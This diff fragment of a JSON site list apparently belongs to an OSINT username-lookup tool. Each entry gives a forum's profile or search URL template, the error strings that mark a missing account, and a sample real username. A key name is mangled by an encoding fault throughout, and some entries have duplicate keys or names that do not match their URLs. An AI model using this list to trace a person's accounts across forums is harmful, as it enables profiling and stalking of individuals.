"[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://taipaqi.moy.su/index/8-0-{}", + "urlMain": "https://taipaqi.moy.su", + "usernameON": "lotly", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taksafonchik": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tambov.clan.su/index/8-0-{}", + "urlMain": "https://tambov.clan.su", + "usernameON": "Xando", + "bad_site": "" + }, + "Forum_tanki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Что-то пошло не так", + "errorTyp��": "message", + "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ru.tankiforum.com", + "usernameON": "anmo", + "bad_site": "" + }, + "Forum_tanknet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.tanknet.org", + "usernameON": "bojan", + "bad_site": "" + }, + "Forum_taragorod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taragorod.ru/index/8-0-{}", + "urlMain": "https://taragorod.ru", + "usernameON": "unlockserver", + "bad_site": "" + }, + "Forum_tarjaturunen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}", + "urlMain": "https://tarjaturunen.ucoz.ru", + "usernameON": "timoxa", + "bad_site": "" + }, + "Forum_taro": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.taro.lv", + "usernameON": "Cha", + "bad_site": "" + }, + "Forum_tarokus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tarokus.ru/index/8-0-{}", + "urlMain": "http://tarokus.ru", + "usernameON": "pridorozhniy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_tarot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://tarot.my1.ru/index/8-0-{}", + "urlMain": "http://tarot.my1.ru", + "usernameON": "seklimqwdal", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tarot-siberia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://tarot-siberia.ru/index/8-0-{}", + "urlMain": "https://tarot-siberia.ru", + "usernameON": "Lila", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taruska": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.taruska.ru/index/8-0-{}", + "urlMain": "http://www.taruska.ru", + "usernameON": "kuhni30", + "bad_site": "" + }, + "Forum_tatfish": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tatfish.com", + "usernameON": "Krilov", + "bad_site": "" + }, + "Forum_tathunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tathunter.ru", + "usernameON": "ramon", + "bad_site": "" + }, + "Forum_tattle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tattle.life/members/?username={}", + "urlMain": "https://tattle.life", + "usernameON": "chita", + "bad_site": "" + }, + "Forum_tauck": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.tauck.com/profile/{}", + "urlMain": "https://forums.tauck.com", + "usernameON": "billzappa", + "bad_site": "" + }, + "Forum_taycan": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanforum.com/forum/members/?username={}", + "urlMain": "https://www.taycanforum.com", + "usernameON": "f1eng", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_taycanev": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanevforum.com/members/?username={}", + "urlMain": "https://www.taycanevforum.com", + "usernameON": "hz1946", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tbrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tbrus.ucoz.ru/index/8-0-{}", + "urlMain": "https://tbrus.ucoz.ru", + "usernameON": "aktotytusipkalieva", + "bad_site": "" + }, + "Forum_tdiclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.tdiclub.com/index.php&members/?username={}", + "urlMain": "https://forums.tdiclub.com", + "usernameON": "matthew16", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_team-pros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://team-pros.3dn.ru/index/8-0-{}", + "urlMain": "https://team-pros.3dn.ru", + "usernameON": "leifwoolned", + "bad_site": "" + }, + "Forum_tebepolezno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tebepolezno.ucoz.ru/index/8-0-{}", + "urlMain": "https://tebepolezno.ucoz.ru", + "usernameON": "Wtgrljya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_techclan_planeta2": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://techclan.planeta2.org/index/8-0-{}", + "urlMain": "http://techclan.planeta2.org", + "usernameON": "youmather", + "bad_site": "" + }, + "Forum_techenclave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://techenclave.com/members/?username={}", + "urlMain": "https://techenclave.com", + "usernameON": "jacob909", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techguy": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techguy.org/members/?username={}", + "urlMain": "https://www.techguy.org", + "usernameON": "novictory", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_techist": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techist.com/forums/members/?username={}", + "urlMain": "https://www.techist.com", + "usernameON": "benefitspils3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_technofino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://technofino.in/community/members/?username={}", + "urlMain": "https://technofino.in", + "usernameON": "abhishek012", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techsupport": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techsupportforum.com/members/?username={}", + "urlMain": "https://www.techsupportforum.com", + "usernameON": "masterchiefxx17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_teckelfriends": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://telesat-news.net/index/8-0-{}", + "urlMain": "https://telesat-news.net/", + "usernameON": "peresihne", + "bad_site": "" + }, + "Forum_tellopilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tellopilots.com/members/?username={}", + "urlMain": "https://tellopilots.com", + "usernameON": "cougare", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tenews": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://teron.at.ua/index/8-0-{}", + "urlMain": "https://teron.at.ua", + "usernameON": "nieminenmik", + "bad_site": "" + }, + "Forum_terraforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.terraforum.net/member.php?username={}", + "urlMain": "https://www.terraforum.net", + "usernameON": "mcdonald", + "comments": "bad", + "bad_site": "" + }, + "Forum_terror62": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terror62.ru/index/8-0-{}", + "urlMain": "http://terror62.ru", + "usernameON": "Trotskiy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_terrylove": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://terrylove.com/forums/index.php?members/&username={}", + "urlMain": "https://terrylove.com", + "usernameON": "arisonpump", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tezosagora": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tezosagora.org/u/{}/summary", + "urlMain": "https://forum.tezosagora.org", + "usernameON": "kevinmehrabi", + "bad_site": "" + }, + "Forum_TG": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tgforum.ru/members/?username={}", + "urlMain": "https://tgforum.ru", + "usernameON": "grigorii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thaidog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://the-brinkoftime.ru/index/8-0-{}", + "urlMain": "http://the-brinkoftime.ru", + "usernameON": "Kardinal", + "bad_site": "" + }, + "Forum_the-covenant": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-covenant.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-covenant.ucoz.ru", + "usernameON": "Gwynbleidd", + "bad_site": "" + }, + "Forum_the-sunny": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-sunny.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-sunny.ucoz.ru", + "usernameON": "Sejlin", + "bad_site": "" + }, + "Forum_thebassbarn": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thebassbarn.com/members/?username={}", + "urlMain": "https://www.thebassbarn.com/", + "usernameON": "hardtop", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebenchtrading": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thebenchtrading.com/members/?username={}", + "urlMain": "https://thebenchtrading.com/", + "usernameON": "dragonslayer913", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebrownsboard": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thebrownsboard.com", + "usernameON": "calfoxwc", + "bad_site": "" + }, + "Forum_thecatsite": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thecatsite.com/members/?username={}", + "urlMain": "https://thecatsite.com", + "usernameON": "stefanz", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thecoding": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecodingforums.com/members/?username={}", + "urlMain": "https://www.thecodingforums.com/", + "usernameON": "nataliayou", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thecomicboard": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecomicboard.com/members/?username={}", + "urlMain": "https://www.thecomicboard.com", + "usernameON": "selfishmisery", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedaobums": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "Not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.thedaobums.com/search/?&q={}&type=core_members", + "urlMain": "https://www.thedaobums.com", + "usernameON": "Maddie", + "bad_site": "" + }, + "Forum_thedarkmod": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.thedarkmod.com", + "usernameON": "greebo", + "bad_site": "" + }, + "Forum_thedarts": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thedartsforum.com/memberlist.php?username={}", + "urlMain": "https://www.thedartsforum.com", + "usernameON": "ChrisW", + "bad_site": "" + }, + "Forum_theden": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://thedenforum.com/u/{}/summary", + "urlMain": "https://thedenforum.com", + "usernameON": "weaselpuppy", + "bad_site": "" + }, + "Forum_thedieselgarage": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselgarage.com/members/?username={}", + "urlMain": "https://www.thedieselgarage.com", + "usernameON": "carid", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedieselstop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselstop.com/members/?username={}", + "urlMain": "https://www.thedieselstop.com", + "usernameON": "bugman", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedoctorwho": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.thedoctorwhoforum.com/members/{}/", + "urlMain": "https://www.thedoctorwhoforum.com", + "usernameON": "ps1l0v3y0u", + "bad_site": "" + }, + "Forum_thefappeningblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thefappeningblog.com/forum/members/?username={}", + "urlMain": "https://thefappeningblog.com", + "usernameON": "peterwebb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefedoralounge": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefedoralounge.com/members/?username={}", + "urlMain": "https://www.thefedoralounge.com", + "usernameON": "kblake", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefewgoodmen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}", + "urlMain": "https://www.thefewgoodmen.com", + "usernameON": "bootie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefinalfantasy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "STANDARD_ERROR", + "errorMsg3": "content=\"final fantasy,", + "errorTyp��": "message", + "url": "https://thefinalfantasy.net/forums/members/{}/", + "urlMain": "https://thefinalfantasy.net", + "usernameON": "fuzz", + "bad_site": "" + }, + "Forum_thefirearms": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "urlMain": "https://www.thefirearmsforum.com", + "usernameON": "alpo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theflooring": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theflooringforum.com/members/?username={}", + "urlMain": "https://theflooringforum.com", + "usernameON": "dazlight", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefootballforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefootballforum.net/members/?username={}", + "urlMain": "https://www.thefootballforum.net", + "usernameON": "oakroader", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thegambling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "Unavailable", + "errorTyp��": "message", + "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://thegamblingcommunity.com/", + "usernameON": "howfin", + "bad_site": "" + }, + "Forum_thegradcafe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.thegradcafe.com", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_thegreenliving": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted", + "urlMain": "https://permies.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_thegtaplace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " 0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thegtaplace.com", + "usernameON": "chuken", + "bad_site": "" + }, + "Forum_thehomebrew": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thehomebrewforum.co.uk/members/?username={}", + "urlMain": "https://www.thehomebrewforum.co.uk", + "usernameON": "mashbag", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thehuddle": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.thehuddle.com", + "usernameON": "red", + "bad_site": "" + }, + "Forum_theislamicquotes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.theislamicquotes.com/members/?username={}", + "urlMain": "https://forum.theislamicquotes.com", + "usernameON": "awanromesa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theknot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.theknot.com/profile/{}", + "urlMain": "https://forums.theknot.com", + "usernameON": "mrsconn23", + "bad_site": "" + }, + "Forum_thektog": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thektog.org/members/?username={}", + "urlMain": "https://www.thektog.org", + "usernameON": "editor", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thelaw": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thelaw.com/members/?username={}", + "urlMain": "https://www.thelaw.com", + "usernameON": "zddoodah", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_themodernfilmmaker": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile", + "urlMain": "https://www.themodernfilmmaker.com", + "usernameON": "shadrachhanohano", + "bad_site": "" + }, + "Forum_theohiooutdoors": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theohiooutdoors.com/members/?username={}", + "urlMain": "https://theohiooutdoors.com", + "usernameON": "p8riot", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theologyonline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theologyonline.com/members/?username={}", + "urlMain": "https://theologyonline.com", + "usernameON": "benavraham", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://theoutlander.ru/index/8-0-{}", + "urlMain": "https://theoutlander.ru", + "usernameON": "talia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_thepatriotwoodworker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thepatriotwoodworker.com", + "usernameON": "frederickh", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_thephins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephins.com/members/?username={}", + "urlMain": "https://www.thephins.com", + "usernameON": "dolphin25", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thephoto": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephotoforum.com/members/?username={}", + "urlMain": "https://www.thephotoforum.com", + "usernameON": "sterk03", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theprodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "urlMain": "https://forum.theprodigy.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_thepw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members", + "urlMain": "http://forum.thepw.ru", + "usernameON": "thepwsupport", + "bad_site": "" + }, + "Forum_therepair": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "title>Упс! Что-то пошло не так", + "errorMsg2": "Найдено 0 результатов", + "errorTyp��": "message", + "url": "https://therepair.ru/search/?&q={}", + "urlMain": "https://therepair.ru", + "usernameON": "Engineer", + "comments": "bad", + "bad_site": "" + }, + "Forum_therpf": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.therpf.com/forums/members/?username={}", + "urlMain": "https://www.therpf.com", + "usernameON": "wayneb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thesandtrap": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thesandtrap.com", + "usernameON": "iacas", + "bad_site": "" + }, + "Forum_thescienceforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.thescienceforum.com/member.php?username={}", + "urlMain": "http://www.thescienceforum.com", + "usernameON": "mathman", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thesimsworldnew": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thesimsworldnew.ru/index/8-0-{}", + "urlMain": "http://www.thesimsworldnew.ru", + "usernameON": "Samara", + "bad_site": "" + }, + "Forum_thesmartmarks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members", + "urlMain": "https://forums.thesmartmarks.com", + "usernameON": "janusd", + "bad_site": "" + }, + "Forum_thewatchsite": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thewatchsite.com/members/?username={}", + "urlMain": "https://www.thewatchsite.com/", + "usernameON": "gatsuk", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thewhitewolf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thewhitewolf.3dn.ru/index/8-0-{}", + "urlMain": "https://thewhitewolf.3dn.ru/", + "usernameON": "ttaletpbod", + "bad_site": "" + }, + "Forum_thewindowsforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thewindowsforum.com/members/?username={}", + "urlMain": "https://thewindowsforum.com", + "usernameON": "mook777", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thrash-attack": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://thrash-attack.ru/index/8-0-{}", + "urlMain": "http://thrash-attack.ru", + "usernameON": "Manowarrior", + "bad_site": "" + }, + "Forum_thule": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thule.ucoz.ru/index/8-0-{}", + 